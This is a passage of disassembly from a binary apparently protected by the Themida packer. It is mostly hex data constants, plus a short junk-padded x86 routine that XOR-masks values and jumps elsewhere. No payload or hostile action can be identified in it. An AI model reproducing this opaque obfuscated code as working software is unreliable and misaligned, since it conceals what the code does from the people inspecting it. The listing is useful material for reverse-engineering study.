		dd 37EEC307h, 663F8B5Eh, 236E2EBAh, 0B06A9B5h, 0E8C03206h
		dd 8, 2AB32DA0h, 0F322BE63h, 0F35EB4B6h, 0D68166AAh, 49358846h
		dd 6A535041h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FBD0C353h, 68A0988Bh,	958B0CCAh
		dd 60B1375h, 284585C6h,	6A47060Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8788C352h
		dd 0F7E537A6h, 1771BD89h, 5A68060Bh, 50BFD9B7h,	8E852h
		dd 447A0000h, 9413990Eh, 6160F6A6h, 60310F5Ah, 860FB3B7h
		dd 0
		dd 81585A61h, 0D0D22404h, 9BB61CFCh, 1355B5FFh,	8E9060Bh
		dd 92000000h, 423B1F7Bh, 8DC2EA82h, 0E7D1885h, 0F3BF0F06h
		dd 830FD0FFh, 6, 9498589h, 8166060Bh, 899C17C2h, 0B05D985h
		dd 0D8D2906h, 31060B0Eh, 0B040995h, 4585C606h, 53060B28h
		dd 209958Bh, 8768060Bh,	8AC78240h, 243481F0h, 4F1A2A7Bh
		dd 197D9589h, 0B70F060Bh, 55B5FFD3h, 0BE060B13h, 6DD3459Eh
		dd 8D8D89h, 858D060Bh, 60E7D18h, 14B59D89h, 0D0FF060Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 62C35141h
		dd 0F363F595h, 894B3A79h, 0B089185h, 8DD38B06h,	0E3ECA85h
		dd 16850F06h, 0E9000000h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h
		dd 6D4E6BCDh, 0BD85899Ah, 0E8060B1Bh, 10h, 5C56AD43h, 59830FBDh
		dd 56C58865h, 9CA44304h, 3121958Bh, 6A5E060Bh, 0FFFF6A20h
		dd 0B1BBD95h, 41493506h, 85C75350h, 60B1611h, 1, 1585C7h
		dd 60Bh, 95890000h, 60B22E9h, 0DE9h, 49B13D00h,	0F2B45B6Dh
		dd 0B67DBC91h, 0BD834607h, 60B2715h, 63840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 7385C356h, 663693A5h, 858BF78Bh, 60B0925h
		dd 64D38B66h, 0A3h, 0DE816600h,	858B6630h, 60B32B5h, 293D9589h
		dd 0E08B060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0EEC35343h, 0BD836BB6h,	60B08D1h, 62850F00h, 0F000004h
		dd 482h, 7FBE6600h, 4585C6C4h, 56060B28h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 3C35040h, 396C1C7Fh
		dd 0DC2C3934h, 0EE9h, 0F1DB00h,	0D28ED1CDh, 82FDFEDFh
		dd 0F7D100Bh, 0D368D3BFh, 606F0BB9h, 0D9D7BA66h, 24048161h
		dd 3AB9770Ch, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0EDC35545h, 393E89D9h, 10E8h, 9EC6A800h, 6781F523h
		dd 96ECB945h, 3BD8D4C4h, 219D89E5h, 5A060B09h, 1355B5FFh
		dd 0B52B060Bh, 60B1A2Dh, 7D18858Dh, 23F8060Eh, 0B0D9D95h
		dd 0E8D0FF06h, 6, 80E852Bh, 0B58B4395h,	60B1145h, 5E50905Eh
		dd 66525050h, 310FF78Bh, 585AAEB6h, 0CE890h, 41F40000h
		dd 16C87F4Fh, 2F59DD9Ah, 0BD895E33h, 60B0699h, 458D8D5Eh
		dd 8B060B05h, 0BA6650D6h, 0C89B64Eh, 68B0F24h, 89000000h
		dd 0B19C19Dh, 9FC28106h, 6A235F07h, 0F6BF0F04h,	4E8h, 100000h
		dd 60525000h, 1FB25853h, 0BE310F61h, 7DC99140h,	6050585Ah
		dd 23FE5DB8h, 10E95366h, 7D000000h, 5F9F683Bh, 55DA7197h
		dd 0CD665275h, 58314EE7h, 24448B61h, 0F18B6604h, 0F18B008Bh
		dd 4244489h, 8B58F18Bh,	0B090D95h, 9DB5FF06h, 0F060B15h
		dd 0BD89F2BFh, 60B005Dh, 25BED0FFh, 0E80E13EAh,	0Fh, 0B28C7AABh
		dd 5F363211h, 70B4A164h, 0F0F21C3h, 8B5EF2B7h, 0B159DBDh
		dd 0F3BF0F06h, 6A3C7F03h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 80B4C355h, 8166AAF9h
		dd 81A688F2h, 0F8C7h, 2447C700h, 60000020h, 83F28B66h
		dd 124EEBBDh, 840F0006h, 187h, 28C783FCh, 0CFDE8166h, 0EE97Ch
		dd 5E30000h, 98529F45h,	523554C1h, 0A2596626h, 6A2E07C7h
		dd 47C76469h, 61746104h, 6830F00h, 8B000000h, 0B243D95h
		dd 0F3858B06h, 6A06124Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0BB62C353h,	0EC987754h
		dd 28E3C667h, 81D18B66h, 99BE37E6h, 0C47891Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 71C35141h, 7012DFD6h
		dd 0E989A6B1h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h
		dd 0F7858B5Ah, 6606124Eh, 89D023BEh, 6A0847h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 79A00FC3h
		dd 0F618C359h, 11D958Bh, 0C783060Bh, 8E928h, 4A90000h
		dd 3ED375DCh, 7C72643h,	6E6F632Eh, 89F0BF0Fh, 0B2905B5h
		dd 447C706h, 676966h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 17h, 0BEC35343h, 895EA584h, 0B0151BDh, 0EF858B06h
		dd 0F906124Eh, 890C4789h, 0B1F718Dh, 0EB858B06h, 6A06124Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0B038C353h, 4789182Eh, 52006A08h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F8CB8454h
		dd 0D625D687h, 31B58BEBh, 58060B16h, 6E9h, 0A64EC200h
		dd 89CF9A58h, 0B2361BDh, 118D8D06h, 6A060B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 9377C352h, 8E0E008h,	7E98D27h, 74000000h, 0D68543B3h
		dd 10E9F58Bh, 6E000000h, 0DF2FF589h, 10595475h,	0C2C1FEDBh
		dd 5010CF0Eh, 0BA665250h, 310F1591h, 4739ACBEh,	89585A14h
		dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E7B741C3h, 0F4160A18h, 5959D01h,	0B5FF060Bh
		dd 60B0545h, 9D8B60FCh,	60B1585h, 92D8D89h, 6861060Bh
		dd 0E6367F81h, 28F0Fh
		db 0
byte_5B16E9	db 0, 8Bh, 0D7h		; DATA XREF: Themida_:00546274o
		dd 7F240481h, 8B19C990h, 0B0835B5h, 830F5306h, 0
		dd 9DB5FF5Ah, 8B060B15h, 0B1685B5h, 6AD0FF06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B23C350h, 0B8D6h, 95330000h, 60B016Dh, 840FC00Bh, 47h
		dd 5B9BD09h, 0B5FF060Bh, 60B281Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 27C35646h, 587A4F16h, 81A17A3Eh
		dd 1F0FDCF2h, 31958914h, 0FF060B05h, 0B0AC595h,	458D8906h
		dd 8B060B27h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 2BEBD2A2h, 8AC2AD97h, 0A19531D5h
		dd 23060B32h, 0B134195h, 0BDBD8306h, 60B05h, 0BD830975h
		dd 60B29D1h, 50197400h,	0B8C08B53h, 42Dh, 12998589h, 9D8D060Bh
		dd 60DB381h, 585BD3FFh,	29D1BD83h, 7400060Bh, 0B8535017h
		dd 42Dh, 12998589h, 9D8D060Bh, 60DB022h, 585BD3FFh, 24299531h
		dd 958B060Bh, 60B0C29h,	6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B4BE3C3h, 0B0789B5h
		dd 8DC08B06h, 12585B8Dh, 5B58B06h, 89060B2Ah, 0B174D8Dh
		dd 4D958B06h, 0C7060B29h, 0B011985h, 585006h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 4D5F5564h, 18ADE515h, 68B0Fh, 9D8B0000h, 60B2E81h, 100985C7h
		dd 60Bh, 810F0000h, 4, 0BA45BE66h, 0ED9B5FFh, 800F060Bh
		dd 0
		dd 0AC595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 36CEA5C3h, 0CB816656h, 0E95E1CCDh
		dd 12h,	35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h, 3360EB1Dh
		dd 0B00E185h, 89950906h, 61060B1Fh, 95FF006Ah, 60B32DDh
		dd 0DEBC08Bh, 0F87EBE87h, 0B5BDB240h, 0F3413013h, 1004EB77h
		dd 0E9728711h, 560h, 0FE655CA6h, 28CB0611h, 469DACFFh
		dd 0F16251A9h, 22310C14h, 6BB14C93h, 191E8F54h,	0C6CE3F24h
		dd 6EBB548Fh, 0F17B8053h, 8645097Dh, 3D2F9EC5h,	4E89C4D0h
		dd 80EE33D6h, 0DB41EFBDh, 14F8D5DEh, 0F3605FA5h, 59A10112h
		dd 5EB2967Ah, 0ED7A2F8Ch, 9C486D32h, 0DA2F9E72h, 63B21BEFh
		dd 88A2E256h, 0B683947Dh, 0A2F223ADh, 84907DABh, 2B7DAA49h
		dd 0DCE33BEAh, 94D87014h, 97AAF9C3h, 0AFED228h,	0ADF25AA3h
		dd 0E0C4F305h, 0FDDCE31Ch, 526A23F8h, 8BB61A7Eh, 117FC09h
		dd 11A32D36h, 9482E99Dh, 0EA047EC3h, 573B1663h,	9482EE9Fh
		dd 636238C3h, 7DD92CD9h, 0E381C2Bh, 418FFD2Ch, 3DB1C332h
		dd 0C3948E49h, 0B74AE4DEh, 5Bh,	0F8D5DE51h, 1DAEDC14h
		dd 2C66C394h, 0F0C26BA1h, 0DF83240h, 44C8F7h, 1213E6h
		dd 52890000h, 0BFAF8F15h, 5168BB99h, 0C4B5A9EDh, 0F46A84B5h
		dd 16FAD7DEh, 5632BAC4h, 0D9C3941Dh, 0BFC647E1h, 374F3E82h
		dd 564C8408h, 616ECD57h, 0A909537Eh, 2077D670h,	0D025C211h
		dd 0DE867EE5h, 0A617FBDAh, 95A4F75Fh, 589ED21h,	0A74C595Bh
		dd 7410945Dh, 0FBC3941Dh, 57B0A387h, 196D8142h,	0AEC3941Dh
		dd 0F01F92ADh, 0BA807FB1h, 0F80BF246h, 83774E54h, 62E76B4Fh
		dd 0C9F80FFEh, 0F008851Fh, 32417249h, 9960h, 0FE0DF800h
		dd 0ED1B7FC3h, 0FBDADE77h, 0CAA5CA71h, 784009EFh, 0D00E7AF2h
		dd 0B981C394h, 0AB1BB8Fh, 0A08FB105h, 2C21CFFFh, 738937DDh
		dd 6D2DF53h, 3C765E22h,	0AAFA2BB1h, 80987593h, 1CE0D928h
		dd 0E716C438h, 0EC87A190h, 72C6F903h, 0ED97738Bh, 0B9F5F795h
		dd 65DA0064h, 6F035AC1h, 704D2DBFh, 42429BA4h, 96AB9F49h
		dd 0D0098302h, 0D93241C2h, 62h,	0FBDADE27h, 675EA617h
		dd 2DC846F5h, 73B58FCCh, 17311524h, 0CD72FE33h,	41BC2008h
		dd 49E48F5h, 25186089h,	0D7DEC63Eh, 0AFDE16FAh,	2EC3941Dh
		dd 0B766EAE7h, 31EF536Eh, 7C84F6F7h, 0F01DA726h, 2D41ABAAh
		dd 0C3941D59h, 0C03AD42Eh, 3240F029h, 0D00h, 156D9800h
		dd 0B786112Eh, 0A2EFB3Eh, 0D3DE66DCh, 56A30AFEh, 2E6A977Bh
		dd 162B769Fh, 700B91CDh, 0D3EE3BEAh, 0B229BB35h, 8D9774DBh
		dd 0ADDA85B2h, 8D441FFAh, 8CE0EB89h, 85879262h,	52A8BD9Eh
		dd 0DFEA3FEEh, 51D8804h, 0D8764A3Eh, 77802075h,	531F7981h
		dd 59BD9746h, 0C9BD91F5h, 9D8DC03h, 19394DE1h, 0B48E3A61h
		dd 0DA04B38Bh, 152A582Ch, 0C51F3A61h, 6ED623C8h, 0BD5A2E23h
		dd 6B8F461Dh, 0D7A69A54h, 0CB0FF3CEh, 96E30CD7h, 940AB1BBh
		dd 0E05B2055h, 25947CAAh, 0A711E5D0h, 103F36A5h, 771EE865h
		dd 29CEDFD9h, 8672E1DCh, 2C363867h, 14F42h, 0EF4CDE00h
		dd 0B81BD0A1h, 53373F6Bh, 943A61FFh, 0A9C3DEE1h, 734730F3h
		dd 50BD6FD5h, 4EE67445h, 0C3941D3Ah, 39BB58Dh, 0F478E279h
		dd 0BD9EFF85h, 95CA106Ah, 5DDD95D7h, 967A94B7h,	7CE7D227h
		dd 0A14B8693h, 0A8EB9F17h, 2C723A60h, 0B650AA15h, 0A39EEB52h
		dd 0A62761DFh, 95A4F322h, 0CA43ED21h, 0A5578CB9h, 2C35A584h
		dd 0C08428BAh, 473A60A4h, 48758A73h, 936680C4h,	3Dh, 5F1EBD7Dh
		dd 470E75F8h, 44758475h, 2A729CF0h, 8C20CA51h, 0C394A2A8h
		dd 1FD7BB9Fh, 0C394A26Bh, 0E0B63769h, 0D25A809Bh, 0C394A2E6h
		dd 13E27149h, 0A0h, 68C8DCC9h, 1CCA2E13h, 760D6F26h, 52140E4h
		dd 0D2C3BD9Fh, 0C3078BC2h, 85512734h, 0D27C7FE5h, 0D0B90D75h
		dd 0BC698AC7h, 0D11A856Bh, 3325BCBAh, 0B4FB6BDFh, 0BF3A6038h
		dd 76836865h, 942A915Bh, 0ED990DBBh, 623A6093h,	6F48FF18h
		dd 68AC7D2h, 0A740EEC2h, 4C9EA5F7h, 967A59A1h, 0FEA485B2h
		dd 0FC149DE8h, 0DB149852h, 6C447109h, 63477A83h, 0E8E52E9Fh
		dd 87CF002h, 9F3076B9h,	0D4858DBBh, 5900F4C5h, 0B9897D40h
		dd 0ED286263h, 3C401697h, 7AAB3527h, 65F11F26h,	4E6750CAh
		dd 0C43C271Bh, 754850BDh, 0A2B9C3DBh, 0F4FB34B8h, 764CBD85h
		dd 0D7EA39E4h, 5F231266h, 9445CD7Bh, 40ADB683h,	0BEB61A37h
		dd 0A9ED787Fh, 5B404D67h, 7E0734Eh, 0E973C7F2h,	72F76572h
		dd 0CC2F8EFAh, 1E390146h, 0F71198D2h, 4D310016h, 2CD5D0D0h
		dd 9875EEDBh, 9CEB28Fh,	12h, 4150BD93h,	0BB35DE08h, 1DC18529h
		dd 7C46C394h, 0D4DE6CD2h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 56CF7BCFh, 0C681E689h, 4, 4BB53h, 0DE290000h, 2434875Bh
		dd 426D685Ch, 34890000h, 4A156824h, 1C890000h, 0BABB5324h
		dd 81387219h, 6E0629F3h, 1BEB815Eh, 896009C7h, 241C8BDEh
		dd 4C481h, 0EC810000h, 4, 81242489h, 42404h, 575B0000h
		dd 7B89F789h, 243C8B08h, 4C481h, 1C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 5E2434FFh,	4C481h
		dd 6CE90000h, 0ADFFF921h, 120319D0h, 3432EF2Ch,	79C69D38h
		dd 125D43B8h, 0FFC50306h, 0CEB6ECE0h, 34D5A824h, 7800311Eh
		dd 5D311D2Fh, 6F047402h, 2415428h, 0BF0BBE5Ch, 699E2D1Fh
		dd 0D811B14Fh, 0D8F55927h, 7E2F8B5Dh, 0CAEC1641h, 6C308B56h
		dd 234FB513h, 0EF291150h, 263FF35Ah, 38F5C71Dh,	0D3DEF016h
		dd 7C878E11h, 49E0C350h, 0DF852777h, 2C90DE7Dh,	13DAC92Bh
		dd 0CD09FD30h, 4233364h, 0C556A46Bh, 8EA90C51h,	0F537EA66h
		dd 0DA1BAC6Bh, 0CF4BF61Fh, 9384DF58h, 284F237h,	0D604EB54h
		dd 0E900B531h, 557h, 8A6960B2h,	243F0A1Dh, 5281B8CBh, 8D566DB5h
		dd 3E251860h, 67BD5087h, 156A9B58h, 0CADACB28h,	728760F3h
		dd 0FD6F9C47h, 86431D69h, 0BD2392C5h, 14F8D5DEh, 0F3605FA5h
		dd 26340112h, 2397A2F7h, 60C941EFh, 6958AF17h, 0F94DA1E5h
		dd 26340510h, 7886AEB9h, 56AA1E23h, 8ED306A9h, 5406E6Ch
		dd 6200444h, 7C435B02h,	0F9D42188h, 0E8E53F15h,	6964BE96h
		dd 995A7780h, 362D186Ch, 0CF0CFD9h, 9579445Dh, 13E7DE24h
		dd 0E46855AAh, 45AA3B79h, 53B71B36h, 0C7C6C27Fh, 0E224D6DEh
		dd 0B70E204h, 3F99ED01h, 146EC394h, 0E607DC30h,	14DCA09Dh
		dd 0C3943F75h, 12E6E7BDh, 324112FBh, 59D6h, 0D5DE3E00h
		dd 0AEDC14F8h, 66C3941Dh, 0C26BA12Ch, 0EF3240F0h, 1, 0FAD7DE09h
		dd 6150A716h, 575E4F9Dh, 3941CC7Ah, 445EB61Ah, 3DB1C349h
		dd 0C3941D49h, 1D4F3BB3h, 0FAC0C394h, 6A67B01Dh, 2275D876h
		dd 0F3477E82h, 4FB8BB9Fh, 0BC899A3Ah, 0F605F4C8h, 3F1377DBh
		dd 33BDDC24h, 941DCFBBh, 0CC7A40C3h, 0B0043B41h, 3F83BEC9h
		dd 8509484Eh, 1F5C0D4h,	7D119C14h, 0FC048183h, 1D8EFA72h
		dd 0AC01C394h, 84756954h, 0A6A7417Ch, 17F06352h, 9A433702h
		dd 4BCEB28Fh, 29D45C69h, 0F7931BD0h, 78C3941Dh,	665A2E02h
		dd 0F2A756C8h, 0A3823240h, 6A000000h, 266EDADEh, 3675B2Fh
		dd 8EC3CEBFh, 0D5D0CA3Ah, 0AE9D42Ch, 8CF86CFEh,	3C3941Dh
		dd 1D21A5C9h, 5CA6C394h
		dd 257FCE78h, 2A6BD01Ah, 0D3839ACDh, 5F45C8Ah, 0E914C6FDh
		dd 0C1DBA291h, 45F850FEh, 83BA4E5Fh, 0AE324183h, 9Ch, 0C233BDB6h
		dd 3E4A9AB7h, 0B1C3941Dh, 6AAE9F49h, 0F14816Bh,	1D24A0C4h
		dd 57ABC394h, 0C24B8F73h, 0DD3185BCh, 0E00DDF33h, 0A3274F94h
		dd 24C3941Dh, 3216FADEh, 0D0EF3914h, 0F223096Ch, 0E226AAA7h
		dd 0BA636244h, 608D5F66h, 70543811h, 47C77DC7h,	113FEAE0h
		dd 50BDAE56h, 98870B4Ah, 0B4B1EF2Bh, 59F7EB8Bh,	0F205A1F4h
		dd 3B1F73C7h, 7B0FA731h, 0CCC39460h, 0C5F407F6h, 7E0F272Bh
		dd 88C39460h, 4004A83Ah, 0C7C39460h, 5E221F66h,	0CEE8067Ah
		dd 6E24C53Fh, 10D3241h,	0EB000000h, 0AFED3DEh, 977B56A3h
		dd 13E7DE26h, 9F635AAAh, 1E707DB7h, 0FF24A1E3h,	18469DACh
		dd 0F96DFF84h, 0BD9EFCFCh, 0D4850971h, 806DF6C3h, 64F65A77h
		dd 0E3576AB9h, 5D29BDAFh, 0D23A60C0h, 0D4B63EE8h, 0ED3A60C0h
		dd 0C4D136B7h, 68BD6A89h, 151E8F5Dh, 533A0E38h,	0D9870B46h
		dd 93A5A817h, 0CB559CEFh, 0E50A9B1Dh, 8B7A590h,	40E451C3h
		dd 3A60E204h, 88B78Bh, 3EB9578Ah, 35752BC2h, 148062Ch
		dd 0BDEE0000h, 336EA11Eh, 6E982B61h, 27354E2Eh,	9EE1EE8Fh
		dd 977B5FBDh, 73E0DD26h, 0C0B48192h, 0E7DBC57Ah, 5B2C58CCh
		dd 5FA33A60h, 88DC79A0h, 599AEF5Eh, 6069B1D5h, 8617363Ah
		dd 0F7E12E04h, 2A301408h, 7593AEFBh, 9F29239Dh,	60487317h
		dd 608EF43Ah, 555E4746h, 0DF69FB78h, 60483357h,	3155D93Ah
		dd 0B63A6048h, 3E8FF34Ch, 1175D9F8h, 45E405F7h,	35CD2C35h
		dd 2B000000h, 0E5770C6Fh, 62E3E45Bh, 0A2465BE1h, 3FC4F084h
		dd 57ABC394h, 3F0743E3h, 1B1DC394h, 29C7D48Ah, 391DE1DCh
		dd 0BB9F17C5h, 8CC3943Fh, 9B56ADB6h, 0FE000000h, 687F1EBDh
		dd 0C881D155h, 65FE9E1Eh, 0C22E7FF7h, 5BBFBD9Fh, 221F6491h
		dd 0CDD7A5Eh, 0ED080ABh, 0A811F917h, 14F1625Fh,	0E2423603h
		dd 3A6143DDh, 51251860h, 0DCA099E8h, 28626321h,	0BA3ECF15h
		dd 0A12D1B05h, 42EC379Dh, 5083BECBh, 2F787606h,	0C12C3E12h
		dd 836D9BB6h, 70DBB86Bh, 45C93144h, 0C2B68394h,	1A505D57h
		dd 0E173F982h, 76CB394Dh, 9AB48E30h, 4F5746D0h,	9E488C70h
		dd 673815D6h, 0C5B7564Eh, 8DCEEF53h, 5DED023Dh,	33DFA4A7h
		dd 95E00DDFh, 52FCD0A4h, 0D6F6391h, 46BA95E3h, 0EED31094h
		dd 261CBD85h, 0BB538852h, 0E741F930h, 62B796B0h, 0AC80BDC2h
		dd 704D56B7h, 0B82CBE8Ch, 3A7978CCh, 79ED7F43h,	3A79780Dh
		dd 0C68EB882h, 47DF8C1Ch, 0D7BB96E1h, 57261B66h, 0D38D7140h
		dd 4ABAD4D1h, 5BAC5550h, 0F18F56Eh, 5FFC4E32h, 0D4241770h
		dd 3551D571h, 0BA30D2CEh, 4BC26C40h, 9DB80C33h,	14618607h
		dd 96D58ACh, 58CC5EEAh,	30D2CE2Ch, 5CB15FA3h, 358A7E4Bh
		dd 8, 3DE8845Fh, 0CC32DCEBh, 9FDD4DEh, 967A57A0h, 12E6D127h
		dd 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h,	0FC407988h
		dd 7BCFFA0Dh, 0E78957CFh, 4C781h, 0EF830000h, 243C8704h
		dd 242C895Ch, 6F7168h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	eax, 5C7E1011h
		push	edi
		mov	edi, 7B4F36F2h
		xor	eax, edi
		pop	edi
		xor	eax, 2123788Fh
		push	435Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, eax
		push	esi
		pop	dword ptr [edi+8]
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dd 0B8B334EBh, 6126345h, 0E0FFC503h, 67269113h,	2BD01486h
		dd 3D5CF4FFh, 49D2A076h, 4A9C31EAh, 7698C97Eh, 3FEE7F8Ch
		dd 16602B76h, 7B2F229h,	34B25440h, 202244BDh, 5605B0Bh
		dd 2582BFC5h, 2F5C5F37h, 1145C4BAh, 51C7F0D7h, 68FDD58Bh
		dd 65BC1EE4h, 71819AFFh, 292D204h, 2DDC9F5Ah, 0E7B3C3Bh
		dd 36A4757Fh, 5CA05204h, 1E151FDAh, 0E7BED6Ah, 663F4C7Bh
		dd 35EA3DF7h, 5C8168D6h, 1F80EE15h, 70A4A8F0h, 54C6A5ACh
		dd 65238D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 8D5252C3h, 0BF5DFB82h, 80250FEFh
		dd 0E4801DDFh, 4D8D8981h, 0C7060B17h, 0B011985h, 6E6C06h
		dd 58B0F00h, 66000000h,	7552F081h, 7E957h, 92B50000h, 9725910Dh
		dd 85C75BF7h, 60B1009h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B3C35747h
		dd 91BA6612h, 0B5FFF987h, 60B2705h, 148A0Fh, 0FE90000h
		dd 98000000h, 58CC8F89h, 0C694F390h, 6B4D2DC2h,	95FF5CCEh
		dd 60B0AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	9FC35343h, 858B5271h, 60B2F5Dh,	95FF006Ah, 60B32DDh
		dd 6BEBC08Bh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h,	9AAB8A7Eh
		dd 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h
		dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0C397D194h, 5A382B7Eh
		dd 621C7517h, 34431400h, 7312C8CBh, 42C3FB48h, 0A22034BAh
		dd 78917644h, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h,	65B03582h
		dd 4520CD69h, 6057E78Ch, 0EB602956h, 0C51A9E04h, 5BBE94Dh
		dd 36400000h, 0DC2BC41Fh, 8A9976EDh, 3B43ACB7h,	0EA2EDF04h
		dd 0A2C908EBh, 0D50E314Bh, 5DEE338h, 0B2A19CE8h, 0EE754055h
		dd 23A7CF1Dh, 0A4C58678h, 0D5DE6FD5h, 5FA514F8h, 112F360h
		dd 8C994034h, 91CCDB1h,	1D22A6CEh, 5DA5C394h, 67BD9579h
		dd 0EB33E266h, 0AB1F3241h, 4B8F7357h, 9C67B09Dh, 941D7C08h
		dd 0AB8FF3C3h, 0EB495F48h, 0E7DBAF92h, 61B75083h, 1D780CA0h
		dd 1ECFC394h, 71553918h, 8755391Dh, 2559A58h, 618F9678h
		dd 26AA97ECh, 876C793Bh, 139D4671h, 4B5179ACh, 4BE5D38Eh
		dd 3084B1C2h, 94685130h, 1ECAD0C3h, 7C502419h, 0BDC5B418h
		dd 0DED03286h, 983B3CFh, 65E504FCh, 0A3CC3241h,	28000000h
		dd 0A4750BDh, 0A9A44286h, 92AFF45Ch, 0FC881C2Eh, 73C3941Dh
		dd 0ADC12B0Fh, 0C3941DD9h, 8C7054AEh, 941D26A4h, 0FF5CEEC3h
		dd 33DDFD07h, 1294B2A1h, 77FF0993h, 0C394DA13h,	354B7594h
		dd 0B18A5291h, 0A049B35Dh, 89324197h, 0Ah, 21F5BC23h, 0CE4EAFA7h
		dd 1EBD3A20h, 32E5BCAFh, 0AE9F4958h, 54E66A67h,	0E426A2CAh
		dd 0A0C4C394h, 0C394E424h, 92E857ABh, 0B38E9974h, 39181ECFh
		dd 0A6277D55h, 0D81B3641h, 0A634DA2Fh, 0A12E06E9h, 7E8A694Dh
		dd 6D0C78ECh, 4983C394h, 946DA125h, 0F8DC26C3h,	0DADEE84Eh
		dd 0A72B2A6Eh, 0A142D463h, 5EA10762h, 0FF05F07Ah, 7B2226C0h
		dd 0C0A91D2Ch, 46379BBAh, 4AB80C31h, 5F395550h,	59A34845h
		dd 710FD66h, 849746CAh,	544CC1B5h, 3741D359h, 9490CBBFh
		dd 0EE665CC3h, 0C394909Ah, 5A77806Dh, 9CDDD966h, 77D7E8C7h
		dd 40B667D9h, 39E43241h, 0AF32DCE3h, 88h, 0FBDADE49h, 0CCD8C517h
		dd 0ABF657F1h, 0B23A4496h, 0C3941DD6h, 92AFF459h, 48B890BEh
		dd 0BFC95352h, 1DCDB92Dh, 7842C394h, 941D9CE8h,	12F13C3h
		dd 23C9F40Ch, 2296A3F2h, 3D0C1FEEh, 18DB7549h, 0E63F95EFh
		dd 0AA13E7DBh, 64996D54h, 0A25BB13Ch, 8F3240F2h, 5Fh, 0FBDADE69h
		dd 45708471h, 0AEF6A7ABh, 85164597h, 514227B2h,	2A937791h
		dd 0AE1FE3DAh, 7AE76B6Ah, 3046AF3Eh, 6559BD01h,	0CF5F020h
		dd 0EA2AC9F4h, 4D401EBDh, 0C5E49E94h, 0E6D3222Bh, 35B3D212h
		dd 0E132C394h, 261A3941h, 0A29DEB52h, 0A72660DEh, 54512BEBh
		dd 41188DBCh, 1A432h, 0DE400000h, 221D6BD3h, 0B2067A5Eh
		dd 3F83BECBh, 9E078602h, 0F9A5BE93h, 82C66EA3h,	5C3941Dh
		dd 1D27A3CBh, 52A8C394h, 25D01A7Eh, 0A910E4D3h,	0A4986C53h
		dd 0BAC4A640h, 0A0A41C05h, 0E069D11Ah, 0F3D7BB9Ah, 5DB48155h
		dd 67D4BD9Eh, 0B718F8B4h, 0B0826EDh, 0CF94337h,	2D20CEFBh
		dd 0ED7FEDD8h, 4921734Eh, 9C54CD05h, 3A61BCE8h,	0AED1B7Fh
		dd 0DF28889Dh, 0C63A1EE2h, 0A19CE914h, 21A38387h, 103A61BCh
		dd 0CBDCC5C0h, 7F8865FEh, 0FA0FFE42h, 38A4465Ah, 82669C1Eh
		dd 81C549ADh, 257FD9ADh, 1B3643A8h, 0DF0D3CD8h,	5B242C36h
		dd 0C0000001h, 0BCC233BDh, 15DD3185h, 0C3941D71h, 2A9EA3F8h
		dd 0F71169D6h, 9C4ED5A7h, 9EFF6908h, 8FCC6BDh, 9DEC54A1h
		dd 19AB48ACh, 0D8AC9DECh, 310C15E4h, 6EDF094Dh,	96A42825h
